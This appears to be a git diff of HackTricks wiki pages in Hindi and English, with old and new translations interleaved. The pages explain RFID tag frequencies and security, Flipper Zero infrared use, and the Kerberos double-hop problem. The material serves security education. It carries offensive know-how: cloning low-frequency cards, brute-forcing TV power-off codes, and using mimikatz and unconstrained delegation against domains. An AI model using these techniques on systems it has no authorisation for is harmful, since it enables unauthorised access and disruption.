ISO मानक एप्लिकेशन फैमिली आइडेंटिफायर (**AFI**) मान को निर्दिष्ट करता है, जो एक कोड है जो टैग जिस **प्रकार की वस्तु** से संबंधित है उसे इंगित करता है। एक अन्य महत्वपूर्ण रजिस्टर, जिसे ISO द्वारा भी निर्दिष्ट किया गया है, वह है डेटा स्टोरेज फॉर्मेट आइडेंटिफायर (**DSFID**), जो **उपयोगकर्ता डेटा** के तार्किक संगठन को परिभाषित करता है।
अधिकांश आरआईडीएफ **सुरक्षा नियंत्रण** में यहाँ तक कि प्रत्येक उपयोगकर्ता मेमोरी ब्लॉक और एएफआई और डीएसएफआईडी मान वाले विशेष रजिस्टर पर **पठन** या **लेखन** कार्रवाई को **प्रतिबंधित** करने के यंत्र होते हैं। ये **लॉक** **यंत्र** नियंत्रण मेमोरी में संग्रहित डेटा का उपयोग करते हैं और विक्रेता द्वारा पूर्व-कॉन्फ़िगर किए गए **डिफ़ॉल्ट पासवर्ड** का उपयोग करते हैं, लेकिन टैग मालिकों को **कस्टम पासवर्ड कॉन्फ़िगर** करने की अनुमति देते हैं।
अधिकांश RFID **सुरक्षा नियंत्रण** में ऐसे तंत्र होते हैं जो प्रत्येक उपयोगकर्ता मेमोरी ब्लॉक और AFI और DSFID मानों को समाहित करने वाले विशेष रजिस्टरों पर **पढ़ने** या **लिखने** के संचालन को **सीमित** करते हैं। ये **लॉक** **तंत्र** नियंत्रण मेमोरी में संग्रहीत डेटा का उपयोग करते हैं और विक्रेता द्वारा पूर्व-निर्धारित **डिफ़ॉल्ट पासवर्ड** होते हैं लेकिन टैग मालिकों को **कस्टम पासवर्ड** कॉन्फ़िगर करने की अनुमति देते हैं।
### कम और उच्च फ्रीक्वेंसी टैग तुलना
### Low & High frequency tags comparison
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## कम फ्रीक्वेंसी आरआईडीएफ टैग (125kHz)
## Low-Frequency RFID Tags (125kHz)
**कम फ्रीक्वेंसी टैग** उन सिस्टमों में उपयोग किए जाते हैं जो **उच्च सुरक्षा की आवश्यकता नहीं है**: इमारत एक्सेस, इंटरकॉम कीज, जिम सदस्यता कार्ड आदि। उनकी अधिक दूरी के कारण, ये भुगतान किए ग
**लो-फ्रीक्वेंसी टैग** अक्सर उन सिस्टम में उपयोग किए जाते हैं जो **उच्च सुरक्षा** की आवश्यकता नहीं रखते: भवन की पहुंच, इंटरकॉम कुंजी, जिम सदस्यता कार्ड, आदि। उनकी उच्च रेंज के कारण, इन्हें भुगतान वाले कार पार्किंग के लिए उपयोग करना सुविधाजनक होता है: चालक को कार्ड को रीडर के करीब लाने की आवश्यकता नहीं होती, क्योंकि यह दूर से सक्रिय होता है। साथ ही, लो-फ्रीक्वेंसी टैग बहुत प्राइमिटिव होते हैं, इनकी डेटा ट्रांसफर दर कम होती है। इस कारण, जटिल दो-तरफा डेटा ट्रांसफर को लागू करना असंभव है, जैसे कि बैलेंस बनाए रखना और क्रिप्टोग्राफी। लो-फ्रीक्वेंसी टैग केवल अपनी छोटी ID को बिना किसी प्रमाणीकरण के प्रसारित करते हैं।
ये उपकरण **निष्क्रिय** **RFID** तकनीक पर निर्भर करते हैं और **30 kHz से 300 kHz** की रेंज में काम करते हैं, हालांकि 125 kHz से 134 kHz का उपयोग करना अधिक सामान्य है:
* **लॉन्ग रेंज** — कम फ़्रीक्वेंसी का मतलब उच्च रेंज होता है। कुछ EM-Marin और HID रीडर्स हैं, जो एक मीटर की दूरी से काम करते हैं। इनका अक्सर कार पार्किंग में उपयोग किया जाता है।
* **प्राइमिटिव प्रोटोकॉल** — डेटा ट्रांसफर दर कम होने के कारण ये टैग केवल अपनी छोटी ID को प्रसारित कर सकते हैं। अधिकांश मामलों में, डेटा को प्रमाणीकरण नहीं किया जाता है और इसे किसी भी तरह से सुरक्षित नहीं किया जाता है। जैसे ही कार्ड रीडर की रेंज में आता है, यह बस अपनी ID को प्रसारित करना शुरू कर देता है।
* **कम सुरक्षा** — इन कार्डों को आसानी से कॉपी किया जा सकता है, या यहां तक कि किसी और की जेब से पढ़ा जा सकता है, क्योंकि प्रोटोकॉल बहुत प्राइमिटिव है।
**लोकप्रिय 125 kHz प्रोटोकॉल:**
* **EM-Marin** — EM4100, EM4102। CIS में सबसे लोकप्रिय प्रोटोकॉल। इसकी सरलता और स्थिरता के कारण लगभग एक मीटर से पढ़ा जा सकता है।
* **HID Prox II** — HID Global द्वारा पेश किया गया लो-फ्रीक्वेंसी प्रोटोकॉल। यह प्रोटोकॉल पश्चिमी देशों में अधिक लोकप्रिय है। यह अधिक जटिल है और इस प्रोटोकॉल के लिए कार्ड और रीडर्स अपेक्षाकृत महंगे हैं।
* **Indala** — बहुत पुराना लो-फ्रीक्वेंसी प्रोटोकॉल जो Motorola द्वारा पेश किया गया था, और बाद में HID द्वारा अधिग्रहित किया गया। आप इसे पिछले दो की तुलना में कम ही देखेंगे क्योंकि इसका उपयोग कम हो रहा है।
वास्तव में, और भी बहुत सारे लो-फ्रीक्वेंसी प्रोटोकॉल हैं। लेकिन वे सभी भौतिक स्तर पर समान मॉड्यूलेशन का उपयोग करते हैं और इन्हें एक तरह से या किसी अन्य तरीके से ऊपर सूचीबद्ध प्रोटोकॉल का एक रूप माना जा सकता है।
### Attack
You can **attack these Tags with the Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## High-Frequency RFID Tags (13.56 MHz)
**हाई-फ्रीक्वेंसी टैग** का उपयोग तब किया जाता है जब आपको क्रिप्टोग्राफी, बड़े दो-तरफा डेटा ट्रांसफर, प्रमाणीकरण आदि की आवश्यकता होती है।\
यह आमतौर पर बैंक कार्ड, सार्वजनिक परिवहन, और अन्य सुरक्षित पास में पाया जाता है।
**हाई-फ्रीक्वेंसी 13.56 MHz टैग मानकों और प्रोटोकॉल का एक सेट हैं**। इन्हें आमतौर पर [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) के रूप में संदर्भित किया जाता है, लेकिन यह हमेशा सही नहीं होता। भौतिक और तार्किक स्तर पर उपयोग किए जाने वाले मूल प्रोटोकॉल सेट ISO 14443 है। उच्च-स्तरीय प्रोटोकॉल, साथ ही वैकल्पिक मानक (जैसे ISO 19092), इसके आधार पर होते हैं। कई लोग इस तकनीक को **नियर फील्ड कम्युनिकेशन (NFC)** के रूप में संदर्भित करते हैं, जो 13.56 MHz फ़्रीक्वेंसी पर काम करने वाले उपकरणों के लिए एक शब्द है।
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
साधारण शब्दों में, NFC की आर्किटेक्चर इस प्रकार काम करती है: ट्रांसमिशन प्रोटोकॉल उस कंपनी द्वारा चुना जाता है जो कार्ड बनाती है और इसे निम्न-स्तरीय ISO 14443 के आधार पर लागू किया जाता है। उदाहरण के लिए, NXP ने एक उच्च-स्तरीय ट्रांसमिशन प्रोटोकॉल का आविष्कार किया जिसे Mifare कहा जाता है। लेकिन निम्न स्तर पर, Mifare कार्ड ISO 14443-A मानक पर आधारित होते हैं।
Flipper निम्न-स्तरीय ISO 14443 प्रोटोकॉल के साथ-साथ Mifare Ultralight डेटा ट्रांसफर प्रोटोकॉल और बैंक कार्ड में उपयोग किए जाने वाले EMV के साथ इंटरैक्ट कर सकता है। हम Mifare Classic और NFC NDEF के लिए समर्थन जोड़ने पर काम कर रहे हैं। NFC के निर्माण में शामिल प्रोटोकॉल और मानकों पर एक गहन नज़र एक अलग लेख के लायक है जिसे हम बाद में प्रकाशित करने की योजना बना रहे हैं।
ISO 14443-A मानक पर आधारित सभी उच्च-फ्रीक्वेंसी कार्ड में एक अद्वितीय चिप ID होती है। यह कार्ड का सीरियल नंबर के रूप में कार्य करता है, जैसे नेटवर्क कार्ड का MAC पता। **आमतौर पर, UID 4 या 7 बाइट लंबा होता है**, लेकिन यह दुर्लभ रूप से **10** तक जा सकता है। UIDs कोई रहस्य नहीं होते हैं और इन्हें आसानी से पढ़ा जा सकता है, **कभी-कभी तो कार्ड पर ही मुद्रित होते हैं**
कई एक्सेस कंट्रोल सिस्टम UID पर निर्भर करते हैं ताकि **प्रमाणित और पहुंच प्रदान की जा सके**। कभी-कभी यह तब भी होता है जब RFID टैग **क्रिप्टोग्राफी** का समर्थन करते हैं। ऐसी **गलतफहमी** उन्हें **125 kHz कार्डों** के स्तर पर ले आती है सुरक्षा के मामले में। वर्चुअल कार्ड (जैसे Apple Pay) एक गतिशील UID का उपयोग करते हैं ताकि फोन के मालिक अपने भुगतान ऐप के साथ दरवाजे न खोल सकें।
* **कम रेंज** — उच्च-फ्रीक्वेंसी कार्ड विशेष रूप से इस तरह से डिज़ाइन किए गए हैं कि उन्हें रीडर के करीब रखा जाना चाहिए। यह कार्ड को अनधिकृत इंटरैक्शन से भी बचाने में मदद करता है। अधिकतम पढ़ने की रेंज जो हम प्राप्त करने में सक्षम थे वह लगभग 15 सेमी थी, और वह कस्टम-निर्मित उच्च-रेंज रीडर्स के साथ थी।
* **उन्नत प्रोटोकॉल** — डेटा ट्रांसफर की गति 424 kbps तक जटिल प्रोटोकॉल की अनुमति देती है जिसमें पूर्ण-फledged दो-तरफा डेटा ट्रांसफर होता है। जो बदले में **क्रिप्टोग्राफी**, डेटा ट्रांसफर आदि की अनुमति देता है।
* **उच्च सुरक्षा** — उच्च-फ्रीक्वेंसी संपर्क रहित कार्ड स्मार्ट कार्डों के मुकाबले किसी भी तरह से कम नहीं होते हैं। ऐसे कार्ड हैं जो क्रिप्टोग्राफिक रूप से मजबूत एल्गोरिदम जैसे AES का समर्थन करते हैं और विषम क्रिप्टोग्राफी को लागू करते हैं।
### Attack
You can **attack these Tags with the Flipper Zero**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
{% endcontent-ref %}
Or using the **proxmark**:
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
{% endcontent-ref %}
## References
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,59 +1,66 @@
# FZ - इन्फ्रारेड
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## परिचय <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
इन्फ्रारेड कैसे काम करता है के बारे में अधिक जानकारी के लिए देखें:
Infrared कैसे काम करता है इसके बारे में अधिक जानकारी के लिए देखें:
{% content-ref url="../infrared.md" %}
[infrared.md](../infrared.md)
{% endcontent-ref %}
## फ्लिपर जीरो में आईआर सिग्नल रिसीवर <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## Flipper Zero में IR सिग्नल रिसीवर <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
फ्लिपर एक डिजिटल आईआर सिग्नल रिसीवर TSOP का उपयोग करता है, जो **आईआर रिमोट से सिग्नल अंतरण करने की अनुमति देता है**। कुछ **स्मार्टफोन** जैसे Xiaomi, जिनमें भी एक आईआर पोर्ट होता है, लेकिन ध्यान रखें कि **अधिकांश उनमें केवल सिग्नल भेज सकते हैं** और **प्राप्त नहीं कर सकते**।
Flipper एक डिजिटल IR सिग्नल रिसीवर TSOP का उपयोग करता है, जो **IR रिमोट से सिग्नल को इंटरसेप्ट करने की अनुमति देता है**। कुछ **स्मार्टफोन** जैसे Xiaomi में भी IR पोर्ट होता है, लेकिन ध्यान रखें कि **उनमें से अधिकांश केवल सिग्नल भेज सकते हैं** और **उन्हें प्राप्त करने में असमर्थ हैं**।
फ्लिपर इन्फ्रारेड **रिसीवर काफी संवेदनशील है**। आप तब भी **सिग्नल को पकड़ सकते हैं** जब आप दूरी में होते हुए रिमोट और टीवी के बीच कहीं रहते हैं। फ्लिपर के आईआर पोर्ट की ओर सीधे रिमोट करना अनावश्यक है। यह उस समय उपयोगी होता है जब कोई टीवी के पास खड़ा होकर चैनल बदल रहा हो, और आप और फ्लिपर दोनों दूरी पर हैं।
Flipper का इन्फ्रारेड **रिसीवर काफी संवेदनशील है**। आप **सिग्नल को पकड़ सकते हैं** जबकि आप **रिमोट और टीवी के बीच कहीं** हैं। रिमोट को सीधे Flipper के IR पोर्ट की ओर इंगित करना आवश्यक नहीं है। यह तब सहायक होता है जब कोई टीवी के पास खड़े होकर चैनल बदल रहा हो, और आप और Flipper दोनों कुछ दूरी पर हों।
इन्फ्रारेड का **डिकोडिंग** सिग्नल **सॉफ़्टवेयर** द्वारा होता है, इसलिए फ्लिपर जीरो संभावित रूप से किसी भी आईआर रिमोट कोड का **प्राप्ति और प्रेषण समर्थन** करता है। **अज्ञात** प्रोटोकॉल के मामले में जो पहचान नहीं किया जा सकता था - यह **रॉ सिग्नल को बिल्कुल वैसे ही रिकॉर्ड और प्लेबैक** करता है जैसे कि प्राप्त हुआ।
## Actions
चूंकि **इन्फ्रारेड** सिग्नल का **डिकोडिंग** **सॉफ़्टवेयर** पक्ष पर होता है, Flipper Zero संभावित रूप से **किसी भी IR रिमोट कोड के रिसेप्शन और ट्रांसमिशन का समर्थन करता है****अज्ञात** प्रोटोकॉल के मामले में जिन्हें पहचाना नहीं जा सका - यह **कच्चे सिग्नल को रिकॉर्ड और प्ले बैक** करता है जैसे कि इसे प्राप्त किया गया था।
### Universal Remotes
## क्रियाएँ
Flipper Zero can be used as a **universal remote to control any TV, air conditioner, or media center**. In this mode, Flipper **bruteforces** all **known codes** of all supported manufacturers **according to the dictionary from the SD card**. You don't need to choose a particular remote to turn off a restaurant TV.
### यूनिवर्सल रिमोट
It is enough to press the power button in the Universal Remote mode, and Flipper will **sequentially send "Power Off"** commands of all the TVs it knows: Sony, Samsung, Panasonic... and so on. When the TV receives its signal, it will react and turn off.
Flipper Zero को **किसी भी टीवी, एयर कंडीशनर, या मीडिया सेंटर को नियंत्रित करने के लिए एक यूनिवर्सल रिमोट के रूप में उपयोग किया जा सकता है**। इस मोड में, Flipper **सभी समर्थित निर्माताओं के सभी **ज्ञात कोडों** को **SD कार्ड से शब्दकोश के अनुसार** ब्रूटफोर्स करता है। आपको किसी विशेष रिमोट को बंद करने के लिए चुनने की आवश्यकता नहीं है।
Such brute-force takes time. The larger the dictionary, the longer it will take to finish. It is impossible to find out which signal exactly the TV recognized since there is no feedback from the TV.
यूनिवर्सल रिमोट मोड में पावर बटन दबाना पर्याप्त है, और Flipper **सभी टीवी के "पावर ऑफ"** कमांड को क्रमबद्ध रूप से भेजेगा जो इसे पता है: Sony, Samsung, Panasonic... और इसी तरह। जब टीवी अपने सिग्नल को प्राप्त करता है, तो यह प्रतिक्रिया देगा और बंद हो जाएगा।
### Learn New Remote
इस तरह का ब्रूट-फोर्स समय लेता है। जितना बड़ा शब्दकोश होगा, इसे पूरा करने में उतना ही अधिक समय लगेगा। यह पता लगाना असंभव है कि टीवी ने किस सिग्नल को ठीक से पहचाना क्योंकि टीवी से कोई फीडबैक नहीं होता है।
It's possible to **capture an infrared signal** with Flipper Zero. If it **finds the signal in the database** Flipper will automatically **know which device this is** and will let you interact with it.\
If it doesn't, Flipper can **store** the **signal** and will allow you to **replay it**.
### नया रिमोट सीखें
## References
Flipper Zero के साथ **इन्फ्रारेड सिग्नल को कैप्चर करना संभव है**। यदि यह **डेटाबेस में सिग्नल पाता है** तो Flipper स्वचालित रूप से **जान जाएगा कि यह कौन सा उपकरण है** और आपको इसके साथ इंटरैक्ट करने देगा।\
यदि नहीं, तो Flipper **सिग्नल को स्टोर** कर सकता है और आपको इसे **प्ले बैक** करने की अनुमति देगा।
## संदर्भ
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,99 +1,105 @@
# कर्बेरोस डबल हॉप समस्या
# Kerberos Double Hop Problem
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो** (https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## परिचय
कर्बेरोस "डबल हॉप" समस्या उत्पन्न होती है जब एक हमलावर को **कर्बेरोस प्रमाणीकरण का उपयोग करके दो हॉप** के माध्यम से कोशिश करता है, उदाहरण के लिए **PowerShell**/**WinRM** का उपयोग करके।
## Introduction
जब **कर्बेरोस** के माध्यम से **प्रमाणीकरण** होता है, **क्रेडेंशियल** **मेमोरी में कैश नहीं होती** हैं। इसलिए, यदि आप mimikatz चलाते हैं तो आपको प्रयोक्ता के क्रेडेंशियल मशीन में नहीं मिलेंगे भले ही वह प्रक्रियाएँ चला रहा हो
Kerberos "Double Hop" समस्या तब उत्पन्न होती है जब एक हमलावर **Kerberos प्रमाणीकरण का उपयोग करने की कोशिश करता है दो** **हॉप्स** के बीच, उदाहरण के लिए **PowerShell**/**WinRM** का उपयोग करते हुए
यह इसलिए है क्योंकि कर्बेरोस के साथ कनेक्ट करते समय ये कदम होते हैं:
जब **Kerberos** के माध्यम से **प्रमाणीकरण** होता है, तो **क्रेडेंशियल्स** **मेमोरी** में **कैश** नहीं होते। इसलिए, यदि आप mimikatz चलाते हैं, तो आप मशीन में उपयोगकर्ता के **क्रेडेंशियल्स** नहीं पाएंगे, भले ही वह प्रक्रियाएँ चला रहा हो।
1. प्रयोक्ता1 क्रेडेंशियल प्रदान करता है और **डोमेन कंट्रोलर** प्रयोक्ता1 को एक कर्बेरोस **TGT** लौटाता है।
2. प्रयोक्ता1 **TGT** का उपयोग करके **सेवा टिकट** का अनुरोध करता है **सर्वर1** से **कनेक्ट** करने के लिए।
3. प्रयोक्ता1 **सर्वर1** से **कनेक्ट** करता है और **सेवा टिकट** प्रदान करता है।
4. **सर्वर1** में प्रयोक्ता1 के **क्रेडेंशियल** या **TGT** कैश नहीं हैं। इसलिए, जब प्रयोक्ता1 सर्वर1 से दूसरे सर्वर में लॉगिन करने की कोशिश करता है, वह **प्रमाणीकरण करने में सक्षम नहीं होता** है।
यह इसलिए है क्योंकि Kerberos के साथ कनेक्ट करते समय ये कदम होते हैं:
### असीमित अधिकार
1. User1 क्रेडेंशियल्स प्रदान करता है और **डोमेन कंट्रोलर** User1 को एक Kerberos **TGT** लौटाता है।
2. User1 **TGT** का उपयोग करके **सेवा टिकट** का अनुरोध करता है **Server1** से **कनेक्ट** करने के लिए।
3. User1 **Server1** से **कनेक्ट** होता है और **सेवा टिकट** प्रदान करता है।
4. **Server1** के पास User1 के **क्रेडेंशियल्स** या User1 का **TGT** कैश नहीं होता। इसलिए, जब User1 Server1 से दूसरे सर्वर में लॉगिन करने की कोशिश करता है, तो वह **प्रमाणित** नहीं हो पाता।
यदि PC में **असीमित अधिकार** सक्षम है, तो यह नहीं होगा क्योंकि **सर्वर** को उसे एक उपयोगकर्ता का **TGT** प्राप्त होगा जो इसे एक्सेस कर रहा है। इसके अतिरिक्त, यदि असीमित अधिकार का उपयोग किया जाता है तो आप शायद इससे **डोमेन कंट्रोलर को कंप्रोमाइज** कर सकते हैं।\
[**असीमित अधिकार पृष्ठ में अधिक जानकारी**](unconstrained-delegation.md).
### Unconstrained Delegation
यदि PC में **unconstrained delegation** सक्षम है, तो यह नहीं होगा क्योंकि **Server** प्रत्येक उपयोगकर्ता के लिए एक **TGT** प्राप्त करेगा जो इसे एक्सेस करता है। इसके अलावा, यदि unconstrained delegation का उपयोग किया जाता है, तो आप शायद **डोमेन कंट्रोलर** से समझौता कर सकते हैं।\
[**Unconstrained delegation पृष्ठ पर अधिक जानकारी**](unconstrained-delegation.md)।
### CredSSP
इस समस्या से बचने का एक और तरीका जो [**विशेष रूप से असुरक्षित है**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) है **Credential Security Support Provider**। माइक्रोसॉफ्ट से:
इस समस्या से बचने का एक और तरीका है जो [**विशेष रूप से असुरक्षित**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) है, वह है **क्रेडेंशियल सुरक्षा समर्थन प्रदाता**। Microsoft से:
> CredSSP प्रमाणीकरण स्थानीय कंप्यूटर से रिमोट कंप्यूटर को उपयोगकर्ता क्रेडेंशियल अनुप्रेषित करता है। यह अभ्यास रिमोट संचालन का सुरक्षा जोखिम बढ़ाता है। यदि रिमोट कंप्यूटर को कंप्रोमाइज़ किया जाता है, जब क्रेडेंशियल उसे पास किए जाते हैं, तो उन क्रेडेंशियल का नेटवर्क सत्र नियंत्रण करने के लिए उपयोग किया जा सकता है।
> CredSSP प्रमाणीकरण स्थानीय कंप्यूटर से दूरस्थ कंप्यूटर पर उपयोगकर्ता क्रेडेंशियल्स को डेलीगेट करता है। यह प्रथा दूरस्थ संचालन के सुरक्षा जोखिम को बढ़ाती है। यदि दूरस्थ कंप्यूटर से समझौता किया जाता है, तो जब क्रेडेंशियल्स इसे पास किए जाते हैं, तो क्रेडेंशियल्स का उपयोग नेटवर्क सत्र को नियंत्रित करने के लिए किया जा सकता है।
उत्पादन सिस्टम, संवेदनशील नेटवर्क और समान परिवेशों में सुरक्षा संबंधित चिंताओं के कारण **CredSSP** को अक्षम करना अत्यंत सिफारिश किया जाता है। **CredSSP** सक्षम है या नहीं, यह निर्धारित करने के लिए, `Get-WSManCredSSP` कमांड चलाया जा सकता है। यह कमांड **CredSSP स्थिति की जांच** करने की अनुमति देता है और यहाँ तक कि यह दूरस्थ से निष्पादित किया जा सकता है, प्रावधान है कि **WinRM** सक्षम हो।
